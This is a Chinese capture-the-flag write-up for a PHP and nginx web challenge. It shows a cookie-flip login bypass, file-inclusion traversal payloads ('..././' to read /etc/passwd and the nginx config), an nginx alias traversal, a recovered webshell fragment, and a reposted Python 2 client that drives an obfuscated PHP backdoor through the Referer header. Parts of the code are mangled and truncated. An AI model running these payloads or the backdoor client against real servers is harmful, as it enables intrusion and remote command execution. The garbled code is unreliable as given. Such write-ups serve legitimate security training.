web php wrong nginx config

2021-01-15 17:15

阅读:407

标签:value   put   ddr   过滤   ubuntu   ref   app   rate   content   

web php wrong nginx config

目录
  • web php wrong nginx config
    • 题目描述
    • 解题过程
      • 信息收集
      • robots.txt
      • hint.php
      • Hack.php
      • /admin/admin.php
      • /etc/nginx/sites-enabled/site.conf
      • /web-img
      • exp

题目描述

解题过程

信息收集

  • 环境
    • ubuntu
    • nginx/1.10.3
    • php
  • 御剑扫描
    • 发现robots.txt/admin/

robots.txt

技术图片

里面放了两个文件名hint.phpHack.php

依次访问

hint.php

内容为

配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

Hack.php

无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0

在浏览器console里修改为isLogin=1,成功访问

技术图片

尝试了一遍,发现只有管理中心链接可以跳转

/admin/admin.php

技术图片

应该是文件包含

  • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
  • 尝试file=index./&ext=php,页面没有please continue
  • 尝试file=index../&ext=php,页面有please continue
  • 尝试file=index.../&ext=php,页面有please continue

有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

  • 再次尝试file=..././..././..././..././etc/passwd&ext=

    技术图片

/etc/nginx/sites-enabled/site.conf

  • 访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

  • 得到内容

    server 
    { 
    listen 8080; 
    ## listen for ipv4; this line is default and implied listen [::]:8080; 
    ## listen for ipv6 root /var/www/html; 
    index index.php index.html index.htm; 
    port_in_redirect off; server_name _; 
    # Make site accessible from http://localhost/ 
    #server_name localhost; 
    # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } 
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; 
    set $http_x_forwarded_for_filt $http_x_forwarded_for; 
    if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } 
    # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
    location / { 
    # First attempt to serve request as file, then 
    # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; 
    # redirect server error pages to the static page /50x.html 
    # error_page 500 502 503 504 /50x.html; 
    location = /50x.html { 
    root /usr/share/nginx/html;
    } 
    
    location ~ \.php
    $ { 
    try_files $uri $uri/ /index.php?q=$uri&$args;
    fastcgi_split_path_info ^(.+\.php)(/.+)$; 
    fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
    fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
    fastcgi_index index.php; include fastcgi_params; 
    fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
    } 
    
    location ~ /\. { 
    log_not_found off; 
    deny all; 
    } 
    
    location /web-img { 
    alias /images/; 
    autoindex on; 
    } 
    
    location ~* \.(ini|docx|pcapng|doc)$ { deny all; } 
    
    include /var/www/nginx[.]conf; 
    }
    

    发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

/web-img

  • 访问/web-img,绝对路径为/web-img

  • 访问web-img../

    技术图片

  • 发现hack.php.bak文件

    解码后

    $d$k>");
                    @session_destroy();
                }
            }
        }
    }
    ?>
    

    大概是个加壳的webshell,但看不懂 = =,搜到一篇介绍,使用介绍里的exp(py2)

    技术图片

exp

= = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)

# encoding: utf-8


from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length  ‘)
while cmd != ‘‘:
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint(‘Before insert payload:‘)
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + ‘?‘ + urllib.urlencode(query)
    debugPrint(‘After insert payload, referer is:‘)
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url, headers={‘Accept-Language‘: acceptLangStr, ‘Referer‘: referer}, proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r‘(.*)%s>‘ % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print ‘Error,  no backdoor response‘
        cmd = raw_input(‘phpshell > ‘)
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode(‘base64‘)
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input(‘phpshell > ‘)

web php wrong nginx config

标签:value   put   ddr   过滤   ubuntu   ref   app   rate   content   

原文地址:https://www.cnblogs.com/R3col/p/13390419.html


评论


亲,登录后才可以留言!